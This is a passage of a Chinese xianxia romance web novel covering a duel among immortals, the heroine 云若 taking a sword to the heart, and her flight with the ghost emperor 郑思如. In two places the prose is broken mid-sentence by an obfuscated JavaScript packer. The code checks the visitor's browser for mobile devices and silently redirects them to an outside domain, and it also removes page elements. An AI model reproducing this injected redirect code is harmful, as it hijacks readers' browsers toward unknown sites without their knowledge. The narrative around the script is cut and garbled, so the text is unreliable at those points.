“师叔,此事不妥。师姐历劫未归,此事还须再议。至于郑含元及赵师弟、任师弟等事,也是因师姐宽仁,念同门情谊,可师姐也并未姑息,仍依天规天条有所约束惩罚,修以为师姐并无错处。盟主之位,除她无人配得。” 扶光因他反驳,面色不佳,“历劫未归足以说明问题,其他仙人万年一劫,她王心若百年一劫,说明她为天道不喜。再者,成日历劫何来时间打理天界?难道心魔缠身的许师侄,便可独挑大梁么?” 许道淳面色微白。 神君修为自是远远高于他,所以一眼便可看出。 仙人心魔缠身,向非好事,若被有心人利用,他这个副盟主也难免非议。 “道淳有愧,师叔教训得是。” 扶光见许道淳还算知趣,语气也微缓和,“孤是看着你二人长大的,对你们的能力也有所了解。以孤所见,如今仙盟盟主之位,非慕容师侄莫属。慕容师侄有长仙之风,在天界中颇有威望声名,为仙盟鞠躬尽瘁,想来,也不愿屈居王心若之下吧?” 扶光微眯双眼,语气莫测。 慕容修被他说得心中一惊,赶忙道:“师叔,修对师姐并无异心……” “呵,你我师叔侄间就不必如此虚伪了,你若无心,为三界如此奔波又所图何物?另外,孤之弟子素璇也算同你青梅竹马,孤瞧你们般配得很,若能结为道侣,岂非一大喜事?孤还有些要事,今日不多留。三日后,孤来为你一一操办这些事,师侄可要好好准备。” 扶光边说边走下阶,留下一个不冷不热的笑,拍拍慕容修的肩膀,便瞬间消失。 许道淳走到慕容修身旁,语带忧虑,“师兄,这回他来真的么?” 慕容修皱眉道:“他想趁师姐不在,插手天界事务,也不知师姐何时历劫完毕,我等与他相抗,终不能长久。” 此时,一个仙童忽然急匆匆飞了进来,见二人赶忙拜道:“掌门,许仙君,大事不好了!金灵阁中的‘纵春秋’被盗走了,弟子们寻遍了各大主峰,未察得丝毫宝剑影踪!” 慕容修眼神一凛,“能隐纵春秋的剑息,是他!” 思忖片刻,他吩咐许道淳,“你今夜有喜事,先回镜心崖。我且去追那天界逆贼!” 14. 最后一世情劫(14) 14.最后一世情劫(14) 云若迷迷糊糊,半梦半醒时感到有人给自己披上外衫,接着一双手扶过腰,似乎要把自己横抱起来。 她一个激灵醒过来,果不其然对上许道淳含着关切的眸子。 她赶忙站起来,拂拂衣袖,掸去根本不存在的灰尘,不露声色用神识问道:“许仙君,你回来了。” 许道淳颔首,一把将她搂住,“若若,我回来陪你。” 许道淳的衣袍带着清淡的沉香,倒是好闻,只是他举动常常太亲密,越过云若心中那条线,使那香味也别扭起来。 许道淳没有在意云若僵硬的反应,拉着她饮下事先准备好的合卺酒,拜了天地,最后说:“若若,我们来结契吧。” 结契是天界结道侣的特殊仪式,云若记得,许道淳曾和她说,要和她结永生契。 永生契,肋间骨为引。 云若虽愿意全他成婚的执念,可并不想真的让他把永生契废在自己身上。 眼见许道淳手下施法,银光转为利刃,就要触及衣袍,云若赶忙握住他的手腕,“仙君万万不可!” 许道淳停下,“为何?若若,这是我对你的承诺,必须做到。” 他忽然皱眉,眼中有些受伤,“莫非……莫非你不愿意?你不肯原谅我?” 云若搜肠刮肚想理由,磕磕绊绊回道:“不不不,我,我只是觉得那样的结契方式有些残忍,想来也不是苏姑娘愿意见到的。” 然而她说着说着,却从许道淳眼中窥见几丝委屈。 “若若,你是不是嫌弃我了?你相信我,你走后,我没有再碰其他女子……你莫要嫌我。” 不知为何,云若脑中竟忽然浮现出一个为亡夫守身如玉的小媳妇形象。 被他可怜兮兮央着求着,云若险些心软答应。 不行!她撇开脑海中可怕的想法。她若是软下来,他肯定比她更能软,所以要来硬的。 云若佯作愠怒,“我已说了两遍,不想让仙君结此契,仙君不听,可见并不在意我的话,既然如此,也没什么好说了。” “不,我在意,我在意。”许道淳看上去极怕她生气,手中法力赶忙消散了去,“若若不让,那便不结。” 见他情绪稍微稳定,行为也缓和,云若缓缓道:“许仙君,其实我认为苏姑娘并不怪你。若她怪你,便不会一生一世都跟随你,也不会拼着命把你带回去。她心中一定理解你的苦衷,也明白大局为重,而且起义抗敌是你们共同的心愿,最后你也实现了。她并非心窄之人,也许是有些遗憾,可她肯定更不想见到你因此一蹶不振、困于哀情的样子。” 许道淳垂眸,“她……怎会不怪我?” “若我真是苏姑娘的转世,我的想法就是她的想法,我说原谅你就是原谅你。若你不信,说明我不是她的转世,那我便是替身,苏姑娘是断断不愿接受她心上人因对她不能释怀而找替身的。” “你不是替身,你就是她。” “那就信我,我原谅你了,苏若若原谅你了。” 云若动之以情,晓之以理,自以为这套说辞绝对无懈可击,可减轻些许道淳心中纠结。 果然,许道淳面色稍霁,似是听进去她的话。 祛除心魔一事,还是要温水煮青蛙。 “若若,谢谢你。”云若来不及拒绝,就被他抱在怀中。 云若本想推开,后来微叹,轻轻拍了拍他的背,以作安慰。 明明仙君吃过的盐比她吃过的饭还多,为何此刻,她觉得许道淳就像她的一个弟弟。 她要爱护他,关照他,给他顺毛,引导他的心理健康。 气氛正融洽缓和,一阵风忽然冲撞开洞府的门窗,引得帐幔衣衫皆浮动。 随之而来的是一道通天贯地的雷电,将本就湛蓝的虚妄天映得更加明亮。 许道淳放开云若,眸眼换上警觉之色,“是师兄,师兄和他交手了。” “幕容仙君?” “若若,你留在这,我须去助师兄一臂之力。”许道淳帮她理理鬓发,“今日成婚被这些琐事打断,我很愧疚,日后我定还你个完整盛大的婚礼。” 啊?还来一次? 没等云若反应过来,许道淳拿走问心剑便飞去。 交手?修官会和谁交手? 云若心中浮现不妙的猜想,莫非是郑思如? 郑思如境界再高,肯定没两个仙君高,若被捉住,不死也掉层皮。 云若赶忙随后赶去。 云若御剑朝风电中心行去,越往那去,明灿光芒越盛,风力越强。 云若才想起来她已恢复鬼王法力,能使用避风诀,赶忙念诀定住身子。 明光烈风中,竟也盛开出一朵朵火莲。 云若第一反应是,比她上次的火莲花,大好多,颜色也是更浓郁的赤。 她要伸出两只手,才能接上一朵,灼灼开放于手心。 是‘啸风引电’和‘赤莲流火’的剑意。两者皆是极刚剑法,所以搅闹得天地风云振动。 两边法力皆强,否则风与火不会有真实体感。 御剑不多时,便远远看着两道白色身影缠斗在一起。 远观两道身影虽皆渺小,可他们剑下迸发的剑意却遍布整片虚妄天,料想云渚多个山峰都能窥见。 怪不得虚妄天如此大,各山峰距离如此远,否则神仙打一架,怕是今日伤这个山头,明日破那片天。 两人身形极快,周围剑意弥漫,根本看不清脸,但云若认出了一把剑。 那是把赤纹宝剑,恰是郑思如今日拿着的那把。 另一人当然就是她近十年未见的慕容修。 慕容修和郑思如打起来了。 云若做梦都没梦到过这样的场景。 她的剑倏然停下。 他们为何会打起来?莫非如官假扮云渚弟子被发现了?或是他抢亲的事败露了? 她过去能做什么,该做什么?难道就站在旁边看他们打架么? 要不,还是别去掺浑水了…… 没等她想出结果,另一道身影加入了混战。 一身红衣的许道淳格外显眼。 他自是帮同门师兄。 本就令人眼花缭乱的天地剑意中,又飞扬起漫天霜花。 云若立在剑上看了许久,眼见火莲剑意越来越小,越来越小…… 一打一尚能维持,二打一便开始势弱。 怎么办?到底去不去? 其中一道白色身影果然力不从心,动作开始缓慢起来。 她今天刚惹如官生气,又说好的把命赔给他,此时怎能见死不救? 抱着“豁出去了”的想法,云若深呼吸,御剑冲上前去。 离三人越来越近,终于看清人脸和战局。 右边那个高扎长发的少年,正是负气离去的郑思如。 他白袍上沾着些血迹,脸上却仍挂着漫不经心的笑。“你们也太弱了。两人打我一个,打这么久?” 左边银冠白袍,一手拂尘一手长剑的是慕容修,此时正冷睥着节节败退的郑思如,“多年过去,你仍如此自以为是,胆大妄为,毫无长进。” 二人边打边互相嘲讽,一旁的许道淳反而打得最认真。 郑思如却不放过他,半是调笑半是讽刺道:“许仙君,今日洞房花烛夜,怎不好好陪你那转世来的小娇妻?堂堂仙界副盟主,去做强抢民女的事,可连我也佩服啊!天界恶霸这称呼我该让贤啊。” 一通话说得许道淳脸上一阵红一阵白。 ……郑思如要是哪天死了,绝对是被他那张嘴嚯嚯死的。云若如是想道。 郑思如的话显然激地二人怒气更甚,下手愈发迅速狠厉。 愤怒会降低智商,因此,郑思如也整出几回漂亮的反击。 但这对大局并无太大影响,几回合后,他气力渐弱,慕容修和许道淳两柄剑配合极好,几乎同时,一前一后均指向他。 他强撑着抵御剑气,面上笑意愈淡。 “你迟早要为自己的放肆付出代价!”许道淳怒道,他双手光芒大盛,似倾全身灵力,把问心朝前一送。 郑思如正挡着慕容修锻思剑的攻势,尚无余力应对。 眼见剑即将飞刺入郑思如后背,云若赶忙加速冲上前,插在二人之间,用‘任流光’的剑面抵住问心的剑尖。 就像挡掌门的剑一样。 如何抵御,如何消力,如何稳住手不脱剑,如何……硬抗,她已十分熟悉。 身体内的力量比之前丰厚许多,否则接下许道淳这一剑,云若必碎成渣。 许道淳天玄境初期,云若不知道自己恢复法力后具体能力,但知道是大于地黄境的。 这差距,不致死。 但也差不多去半条命。 剑锋对剑面的瞬间,银光金光交织乍起,云若耳边似有远古钟声乍然响起,手瞬间了无知觉,全靠惯性持握。 那钟声似的声音响了很久,云若除了这声音,别的再听不见。 短短一瞬,好似过了很久。 云若感到喉头一股腥甜,接着不由自主喷吐了出来,被强烈的风吹成血雾。 接着,耳边脸颊有湿润的感觉。 双耳处流出一道血痕,顺着颊边流到脖子上。 因她闯入,天地间剑意瞬消。 待耳畔钟声嗡鸣消失,她听见几道呼唤她的声音。 “若若,你……你怎么替他挡剑?”这是许道淳不可置信的声音。 “……小若?”这是慕容修略带惊诧的声音。 “喂,你、你从哪儿冒出来的?怎么这么傻?”这是郑思如又暴躁又惊讶又着急的声音。 云若听他们问话,头痛欲裂。 她不敢看云渚两位仙君,回头冲郑思如挤出个比哭还难看的笑,“没事,掌门打我比这个狠。” 说完又吐了一口血。 云若硬是撑着没倒下去,被身后郑思如扶了一把,勉强立稳。 知道自己五识已开、仙印已破的事实瞒不住慕容修,她嘶哑着嗓子道:“修……不对……慕容仙君,许仙君,这其中是不是有什么误会?他是我的同门师弟,性情顽劣,口无遮拦,但人其实不坏,罪不至死……” 郑思如一只手悄悄抵在云若背上给她输灵力,一边插嘴道:“是啊,我罪不至死,只不过是拿回我自己的剑,顺便抢个亲……” 云若难得瞪了他一眼。 如官怎么总搞不清状况? “小若,你的事我暂且不追究,你可知他到底是谁?”慕容修提剑指着郑思如,眉间全是愠色。 “我是谁?”郑思如冷笑几声,“我是天界恶霸,我是三界毒瘤,我是人人喊打的邪魔,我是一统混沌地界的鬼帝郑含元,我还是你们的大师兄。可以了么,慕容师弟?” 郑思如把师弟两个字咬得极重,生怕别人听不出他的嘲意。 “你!”慕容修被他气得剑尖更前一寸,冷静片刻,看向云若道:“小若,你先让开,这是我们和他之间的事,不应将你牵扯上。事情解决后,让许师弟带你回镜心崖疗伤。” 鬼帝郑含元这名字,云若并不陌生。 当初慕容修说炼鬼王的人是他,云若便问了问楚灵儿师姐她们。 郑含元是云渚四朵仙葩里唯一长歪的那朵,据说当年还是仙君时就已经让仪光神君和整个天界十分头疼,后来因为几件隐秘的丑事被驱逐出天界。 郑含元执意与仙划开界限,连堕仙都不做,直接入了魔。在修士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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慕容修眸色愠怒,剑尖亦转向云若,“小若,你若再不离开,别怪我无情。” 云若被他剑尖所指,不知为何,心中十分苦涩,声音愈发细弱,“……修官,你便是如此说,我也不能让,他是我恩人,我这条命是他的。” 慕容修并未心软,反而冷笑道:“我明白了,你和他是一伙的,郑含元企图颠覆三界,你的出现又让许师弟心魔大盛,这本就是你们的计策,你们的阴谋!云若,我给你最后一次机会,让开!” 那边二人虽在打斗,却也关注着此方动态。 郑思如闻言,大声喊道:“慕容小儿,你这么会脑补,怎么不去写话本?” 云若被慕容修的话刺得心拧着疼,“你怎会这样想我?我不是,我也不让!” 慕容修连道三声好,拔剑向前刺去。 云若心中有气,就站在那儿,挡也不挡,看着锋利的剑尖直冲自己而来。 慕容修手中微顿,然而抉择已在一念间。 除去鬼王,不留祸患? 还是留下小若,再信她一次? 来不及想,几乎是下意识做出的决定。 所以,当锻思剑刺入云若心中时,所有人都在状况之外。 云若是震惊的。 慕容修如梦方醒。 郑思如没反应过来,挨了许道淳一剑。 许道淳猛然回头,几乎是,梦魇再现。 疼,真疼。 分不清是哪疼。 云若想起少时为复仇,自杀时那种迷茫的痛感。 她微颤唇角,对上慕容修不可置信的双眸。 “你选择不信我?” “小若,我……” “不对……”云若笑了一下,却扯着伤口,笑容略略扭曲,“你从来就没选择信过我。” “你若信我,不会封我两次,你知道听不见声音、说不了话、尝不到味道、闻不到气息的感觉是什么吗?其实我很怕,我只是觉得,我说了,可能会打扰到你。” “你给我两次玉简,第一次我弄丢了,是我的错。第二次,你给了我又和没给有什么用?我曾滴了很多血,也换不来你一次回应,若不是你主动联系过我,我以为你拿玉石骗我的。” “修官,我性情其实很正常,从来都不古怪。只是你一开始就不信我。” “今日我不妨说出来,从第一次见你我就喜欢你,喜欢了十五年,为了到你身边,我从南国徒步走到魏国,走了快一年。不过如今,我觉得天界风景也不过如此,没什么好看的。” 在慕容修震惊的眼神中,她双手握剑,狠心拔了出来,踉跄几步,还是郑思如反应得快,赶忙上前搂住她。 郑思如先是看她被一剑穿心,后听她以平淡的语气利落说出肺腑之言,已经震惊得说不出话。 然而,识海传来她催促的声音,“如官,带着我快跑,我不会死,慕容修曾给我三次救命符,这次用了最后一道。趁他们不注意,冲啊!” 郑思如:??? 啥玩意儿? 他望着身旁双目赤红的许道淳,“你今日想帮忙消除心魔的许仙君,他今晚受太大刺激,看起来要入魔了。” “入魔就入魔吧,跟我没关系了。我快撑不住了,虽然不会死,但也半残。” 郑思如抱起云若,不再拖沓,御剑直直往地界冲去。 他已经无法形容此刻心境,他只觉得抱着的这个女子……好像……和他想得有点不一样,他是不是误判了什么。 他有一箩筐话想问,然而云若体力支撑不住,已经昏了过去。 慕容修和许道淳自是没追过来。 许道淳濒临入魔。 慕容修持剑呆立。 事实上,在锻思刺入云若身.体的瞬间,忽然有大量记忆涌入他的脑海。 那段记忆,关乎他两百年前分神去历的天劫。 15. 最后一世情劫(15) 15.最后一世情劫(15) 郑思如抱着云若,从六重天往下飞,因他也受了剑伤,速度并不太快。 后来觉得这姿势不大舒服,便把她背起来。 差不多到三重天时,云若幽幽转醒,哑着嗓子喊了声“如官”。 “醒的还挺快。” 云若趴在他背上,浑身无力,“你累不累?” “我若说累,你能自己下来走么?” 云若一噎,“我……走不动。” 郑思如啧了声,“看吧,虚伪。” “如官,你嘴好坏。”若修为不高,恐怕因言都可死上百次了。 郑思如轻嗤,“我不光嘴坏,我哪里都坏。” “如官的心是好的。” 郑思如没有情绪哈了一声,“这话若传出去,你怕是要被三界嘲笑。” 云若轻咳几声,郑思如微放缓了剑速,问道:“你还疼么?是不是我飞得太快?” 云若却轻笑,“你看,我就说你心好,虽说面上冷了些。” 郑思如闻言,唇角微勾,轻咳一声,不再说话。 静默一会,云若右手食指轻轻覆上郑思如左肩剑伤,指腹下放出淡淡白光。 这段时间总去云渚嫏嬛阁,学了一二术法,其中有一个治剑伤的‘悲剑吟’,今日恰好一试。 然而灵力微弱,问心剑又是天地至宝,自难治愈,不过让郑思如不那么疼而已。 “自身难保了,还耗费灵力治我?”郑思如语气软和不少。 云若头靠在他肩上,看他颊边血痕,在白玉般的肌肤上似一道红线。 她指腹覆上,擦了血痕,低声道:“如官,你以后能不能不要凶我?” 感到被人温柔擦去脸上血迹,指腹温度依稀留存,郑思如微微走神,闻言才反应过来,“凶你?我何时凶你?” “今天啊,我说我不跟你走,你就……生气了,好像要和我绝交似的,我很害怕。” ……你怕什么,从来害怕的都是我。郑思如心里默默嘀咕。 他原本就不那么嚣张的气焰又灭了大半,有些底气不足道:“行啊,我可以不凶,但你以后得听我的,凡事把你的大恩人放第一位,别老权衡那些有的没的。” 云若有些犹疑,“可……” “可什么可?你今天倒是权衡得好,最后许道淳不还是崩了么。你要早些跟我走,也许云渚那帮老道士还有法子治他。何况心魔这事早死早超生、长痛不如短痛,你留下来是治标不治本,还助长心魔,他更无法自拔。” 云若叹了一声,“也是,是我想错了。那我答应你,以后听你的,把你放第一位。” 把他放第一位…… 郑思如听到这话,莫名其妙心跳加快,却仍佯装漫不经心地回道:“这还差不多。” “那我们现在算是和好了吗?”云若忽然问。 “你猜。” “算是和好了吧?和好了吗?和好了没啊?你说呀……”她受伤说话没力气,催起来倒像在撒娇。 “幼不幼稚,小孩子才这么问。” “如官如官如官……” “好好好,我服了,和好了和好了。” “嗯嗯,谢谢如官。那以后你不凶我,我听你的,咱俩再也不红脸。” ”你可别是个傻子。“ 纵春秋飞离虚妄天,一轮巨大金色太阳初现,洒在人身上,渡了一层暖色。 掩去了少女眸间的笑意,掩住了少年耳根的淡红。 * 抵达人间时,云若感觉腰间玉简忽然发烫。 慕容修联系她了。 心口还剧烈疼痛着。 凡事有结局后,云若并不会再纠结,但总归是有遗憾和怅然的。 她一直追随的仙人,原来真得从来没信过她。 之前她只以为他是不在意,没想到还有不信任。 不过想想也是,谁会信一个不在意的人。 只是有一点点委屈。 到底要不要把玉简拿出来,听听他要说什么? 没想到郑思如发现了,语带嫌弃道:“什么东西,烫得我背疼,快拿出去。” “哦……”云若赶快把玉简拿出来,“是……幕容仙君给我的玉简。” “那你看呗。”郑思如的语气像喝了十缸老陈醋后再饮下一杯水,自以为能轻描淡写地掩盖住酸味。 云若怎么听他这句话,怎么觉得别扭,“我是不是不应该看?” 郑思如哼了一声,“你该,该得很。你不是喜欢他么,不过是戳你一剑而已,有什么大不了,你看吧。” 云若手中握着玉简,拿也不是,放也不是,“我以后不会再喜欢他了。” “说不喜欢就不喜欢,变得真快。” “若有一日我溺海而亡,也不会再喜欢海了呀……已有结局的事,执着也没用。” 郑思如哦了一声,“你和我解释这么多作甚?” 云若认真想想,“这倒也是。” 郑思如差点一口血咯嗓子眼。 莫生气,气出病来无人替! 思索再三,云若还是催动些灵力,连通了玉简。 玉简一片静默,过了好一会,才传来慕容修的声音,“小若,你还……好么?” 郑思如带着云若离开后,那片虚妄天只剩慕容修和许道淳。 许道淳眼睁睁见师兄‘杀’了云若,再一次看她‘死’在自己面前,原本就脆弱的心弦彻底断开,很快便任由心魔覆盖识海,双目变为赤红,引来阵阵天雷。 慕容修只好先按下脑海翻涌的新记忆,赶忙将许道淳控制住。 谁知心魔太甚,竟自动脱离了□□。出体一瞬,许道淳便昏死过去。 慕容修一边要护着许道淳的原身,一边要擒住心魔,还得保证不伤到心魔,一时间心力交瘁,终是不留神,让那心魔逃走。 慕容修只好带着昏迷的许道淳回了云渚,将他安置在镜心崖,吩咐镜心崖弟子好生看护。 这才得了片刻喘息之机,让他能理一理自己的事。 他拿出玉简,摩挲良久,才下了决心联系云若。 他如何面对她…… 原以为是萍水相逢的点头之交,没想到竟是再一次的辜负。 记忆中,那和云若七八分相像、颊带红痣的少女,泣于滂沱大雨中,心如死灰道:“师兄,我祝你早日迎娶昭阳郡主,光复栖霞剑宗,成为武林盟主,大权在握,荣华满身。我不再纠缠你,也不会让你为难了,就此别过吧。” 自此江湖相忘,不知去处,一生未见。 历劫完后,他失了这段记忆,上辈子寻了半生的姑娘却又出现在眼前,一如从前,默默追随着他。 而他毫无察觉,更毫不在意。却又偏偏在他已经把剑刺入她心中时,让他回想起来。 造化弄人,如何甘心? 等了一会,没等来云若的回应,却听见郑思如嘲意十足的声音。 “她死了,幕容仙君有何贵干?” 慕容修压着心头怒气,道:“郑含元,把玉简还给小若。” “你说还就还?她已经死了,理不了你了,再见。” “就是死了,我也要带她魂魄回来。” “哟,仙君口气真大,冥京归我管,魂魄都是我的子民,你带的走?” 云若无语地听着郑思如和慕容修的对话。 方才玉简一接通,就被郑思如抢了过去,她便听二人展开一场如三岁小儿般的互嘲。 准确来说是郑思如单方面的嘲讽。 “如官,给我吧。” 郑思如满脸不善地还给她。 “修……唔……幕容仙君,你有什么事么?” 一个称呼,便把二人距离拉远了。 慕容修心中微痛,沉默片刻,问道:“你还好么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137497|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郑思如翻了个白眼,阴阳怪气道:“你还好么?捅你一剑你好不好。” 云若左手捂住郑思如的嘴,回道:“仙君第二次封印我时,给我下过一道法咒,能保我三次在危险时性命无虞。仙君虽杀我,但也救了我,亦算扯平了,仙君不必介怀。” 然而杀是有心杀,救是无意救,扯平得勉强。 那边又缄默半晌,良久才道:“小若,可不可以回来?让我好好为你疗伤,待你伤好后,我带你逛遍天界,带你去看天界最好的风景……” 慕容修从来没这么温柔地恳求过她,可惜却是在这样一个时间。若在以前,云若觉得自己能开心地一晚上睡不着。 现在只觉得别扭和不习惯。 “仙君,我想了想,可能天界不太适合我,仙君保重,有缘再会吧。” 慕容修急道:“小若,你莫要被郑含元花言巧语蒙骗,他带你而去,定有阴谋。他妄图颠覆三界,于南国炼制许多鬼王。你……你就算怨了我,不愿回来,也不要和他待在一起,被他利用。” 郑思如挣开云若的手,怒着回应慕容修:“你放屁,我若想攻打天界,哪会用炼鬼王这种三流手段?你们仙盟无能,找不出背后人,就让我背黑锅?” “就算不是你,也必是你地界那些妖魔手下,和你脱不了干系!” “那仙盟解开无道荒海的封印,把我真身放出来,让我去收拾那些人,这总行吧?” “放出来?让你祸害三界么?” …… 云若面无表情地切断玉简。 慕容修反应过来,后悔不已,再次催灵联络,云若说什么也不接通。 郑思如撇撇嘴,心里却十分得意。 “欸,你如今离开,就不怕牵连惊鸿派了?”他忽然问。 “如今是云渚有愧于我,两位仙君也非无礼之人,自然不会牵连,说不定还会给掌门一笔抚恤费。” 算得挺清楚……郑思如暗道。 云若叹口气,把玉简放回去,道:“如官,你们这些神仙真奇怪。我一直想不明白转世和分.身的事。在你们看来,这世和前世是一个人,分.身和原身是一个人,可在我看来,分明是两人,他们生在不同的地方,有着不同的生活轨迹,经历着不同的悲欢喜乐……去纠结前世今生,究竟有什么用呢?” 郑思如活了几百万年,还从未思考过这种问题。 他想了会,回道:“大概是记忆不同。假如有一日,你恢复前世记忆,你还会觉得,你和前世是两个人么?” 云若蹙眉,“若真如此,我怕是会精神错乱,分不清自己是谁。” “不过确实有些仙人会选择将一段记忆弃掉,或是封存起来。” “你弃掉过么?” 郑思如摇摇头。 云若百无聊赖玩着一缕郑思如的头发,忽然问道:“如官,你真身长什么样啊?” “你想知道?我怕吓到你。” “啊?”云若来精神了,“那我更好奇了,我总觉得你一点儿也不像他们嘴里那个什么鬼帝。” 郑思如看看四周,没曾想恰好抵达一重天与凡天交界处。 “今天让你见识见识什么叫三界第一强。” 云若嗯了一会,“可你才被幕容仙君和许仙君打伤啊……” 郑思如:…… “你伤重未愈还是少说点话吧。” 他带着云若转了个方向,没多久,便看见一排高高的照壁。 照壁上贴满画像,郑思如指着最左边最大一张,颇是自傲道:“那就是本君真身。” 天界第一画手柳宜均亲笔所绘,栩栩如生,虽比真人少些霸气,但也八九不离十。 云若先是看见画像上用猩红笔墨写了几个字。 ——三界追杀令榜首。 云若:…… 她下移视线,终于见那画中人。 云若:“哇!” 16. 最后一世情劫(16) 16.最后一世情劫(16) 巨幅画像上,身着金边玄袍、骨簪高束长发的鬼帝高坐在伏地盘旋的黑龙上,肌肤苍白,仿若长久不见天日,双瞳赤色犹如火炼,右半边脸上印有一道赤色符咒,狰狞却又带着诡异的美感。 他左手持着白骨作柄的乌色拂尘,右手握着赤纹重剑‘纵春秋’,纵春秋剑尖迈入大地,引得地裂石崩。 鬼帝双脚旁站着两个手捧墨莲、唇红齿白的童子,身长不过三尺,笑容天真却透着邪诡之气。 鬼帝面容与郑思如有七分相像,若说郑思如是少年模样,鬼帝便是成年男子,除却无双艳丽外,更多些几分阴冷可怖。 云若睁大双眼,震惊道:“柳仙君画技果然非同一般,这追杀令的图画竟也如此细腻!” 郑思如本以为她惊叹的是自己,没想到先夸了柳宜均,炽热心头仿若被浇一盆冷水,“这是重点么?” 云若回神,赶忙识趣问道:“如官,这果真是你?” “怎么,不像?” 云若沉思一会,“仔细看看,长得挺像,只是感觉不大一样。” “这身体才修炼了几百年,自然和真身比不了。”郑思如语气颇为遗憾。 “那你以后是不是要回到真身去?” “那当然。” “啊……”云若不知为何,心中有些不情愿。 郑思如挑眉,猜到她所思所想,玩笑道:“怕我不记得你?” 云若轻哼一声,扯了扯他的头发以作小惩,而后仔细端详巨画,饶有兴致道:“我从前看书,书上说鬼帝最得力的属下是‘一黑一白二童子’,即黑龙郎君、白骨郎君和日月童子,原来都是真的。” “呦,了解还挺多。” 二人观画完毕,不敢逗留天界,御剑踏上行程。 一路上,云若有问不完的问题,郑思如口干舌燥地应对。 “如官,书上说日童子喜欢白昼哭泣,月童子喜欢夜里狂笑,是真的吗?” “日月童子是一个人,他脑子有病精神错乱,喜欢鬼哭狼叫,鬼域都管他叫小明。” “如官,书上说黑龙郎君和黑无常是兄弟,是真的吗?” “黑龙是龙,老范是人,物种都不同,当然不是兄弟,不过他们关系挺好。” “如官,书上说白骨郎君貌美如仙,惹得许多鬼女倾心,是真的吗?” “……我手里那把拂尘就是他,你没仔细看么?长个杵子样,哪儿来的貌美如仙?” “如官……” “你有完没完?” 云若憋得脸红,支支吾吾问他:“我最后问个问题……呃,书上说,你在鬼域有九千九百九十九个侍妾,鬼域十二城中有一城名为‘储娇城’,专门用来安置你看上的女子,上至仙子,下至鬼怪,环肥燕瘦,各色各样都有,是……是真的吗?” 其实书上还说鬼帝一夜能召百人侍寝,勇猛堪比天界的玄檀仙君,但云若不敢说。 郑思如脸都黑了,“你都看的什么书?” 如今三界文坛风气一天不如一天,当真是开局一支笔,内容全靠编。 云若嗯了半晌,小声道:“傅六写的《鬼域秘话》,以前惊鸿派师姐妹睡前传阅着看的。” 郑思如嘴角微抽,“惊鸿派什么风气,把你带成这样?你若对鬼域有兴趣,我恢复真身后就带你去逛。” 云若有些遗憾地哦了声,却忽然眼又亮了,“说起惊鸿派,咱们回去看看吧。” 反正也要找个落脚处,思前想后,惊鸿派竟是最好去处。 * 行至魏国时,人间正至冬天,落叶零星,几乎落光,留下光秃秃的枝干。 街上依旧热闹,来来往往的人裹着棉衣,搓着手,面上都被冻得通红。 街道两边是叫卖东西的商贩,快到元日,他们想趁着最后几天多卖些东西。 “如官,放我下来吧,我能自己走。” 他二人这般在大街上太显眼,云若十分不好意思。 郑思如也没拒绝,扶着她慢慢落地,“你小心些。” 云若扶着他的胳膊站定,虽然身子还虚弱,但应付普通行走绰绰有余。她低头时看到郑思如微红的手,轻轻碰了碰,发觉十分冰冷,问道:“你是不是很冷?” 郑思如抬手看看,十分不屑,“这哪算冷?我就是不用灵气,裸着上云渚雪山都不会皱一下眉。” 云若被他逗笑,走到包子铺前,从腰间锦囊中摸出几枚铜钱,递给老板,买了两个包子。她塞给郑思如一个,“暖暖手。” 这家铺子的包子蒸得很大,且刚出炉,冒着腾腾热气。 郑思如皱着眉接过包子,热腾腾,确实很暖和,他掐了掐,还软呼呼的。 他没吃,抬眼望云若,见她双手捧着油纸包着的包子,已经咬了一大口,小巧的腮帮子鼓囊囊,像偷吃粮食的小仓鼠。 玩心乍起,郑思如伸手掐住她腮帮子。 云若眉间泛起一丝羞恼,含糊不清道:“你干嘛……” 郑思如拇指腹轻轻划过她唇角,擦去面屑,还摇着带着面屑的指腹展示给云若看,“看看,只有三岁小孩才会把食物吃到嘴边,以后叫你云三岁如何?” 云若好不容易把嘴里的咽下去,却被他一通嘲讽,瞬间感觉手里包子都不香了,“你比我还幼稚,你是郑一岁!” “笑话,我活的天数比你吃过的米都多,你连那种三无话本都信,可见笨得很。” “你才笨,谁信了!”云若见他声音略大,引来旁人目光,更是又羞又气,不禁捶了下郑思如的肩。 郑思如哎呦了一声,垮了半边身子,“我背你一天,累都累死了,你还打我肩。” “啊?”云若赶忙收回手,帮他捏肩道:“对不起对不起,我错了。” 郑思如看她十分认真伺候自己,憋不住笑了出声。 云若捏着捏着意识到不对劲,“好啊,你耍我?” 她不再留情,捏了把郑思如耳朵,郑思如当然不会站着给她捏,脚底开溜向前跑去。两人一个跑,一个追,生龙活虎,全然不似刚历一场恶战。 跑着跑着,郑思如手滑,包子从油纸里脱出,又好巧不巧,包子命丧他靴下,一时间白皮沾灰,碎肉满地,鲜汁横流,好不凄惨。 几乎一瞬间,郑思如从头到脚都麻痹了。 ……草。 他猛然回想起惨死在他肩下的生辰礼物——小花灯。 历史总是惊人的相似。 看见云若忽然慢下来的步伐和怔愣的神情,郑思如没多想,赶快蹲下去,一边嫌弃一边把碎包子赶快拎回油纸里。 谁知道云若呆了呆,而后噗嗤一笑,“说笨还是你笨,都这样了还捡它干嘛?” 说罢,她使了清洁术,把包子尸体清理走。 郑思如手僵在地上,半晌才长舒一口气,活动活动僵硬的手腕。 云若看他傻里傻气的举动,也消了气,又踱步走回他身边,“虽说没什么,可你要赔我包子。” 郑思如心情平复下来,正是大方的时候,于是夸口道:“赔就赔,莫说一只,就是十笼我也赔得起。” * 当他面无表情端着十大笼屉包子站在惊鸿派门前时,他想回到过去死死捂住自己的嘴。 